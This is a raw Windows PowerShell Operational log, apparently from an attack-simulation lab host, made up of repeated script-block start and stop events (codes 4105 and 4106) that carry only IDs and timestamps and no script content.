LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988212 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988211 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988210 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988209 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988208 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988207 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988206 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988205 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988204 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988223 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988222 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988221 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988220 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988219 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988218 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988217 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988216 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988215 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988214 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988233 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988232 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988231 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988230 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988229 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988228 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988227 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988226 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988225 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988224 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988243 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988242 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988241 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988240 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988239 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988238 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988237 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988236 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988235 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988234 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988253 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988252 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988251 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988250 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988249 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988248 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988247 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988246 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988245 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988244 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988263 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988262 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988261 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988260 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988259 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988258 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988257 Keywords=None Message=Completed invocation of ScriptBlock ID: 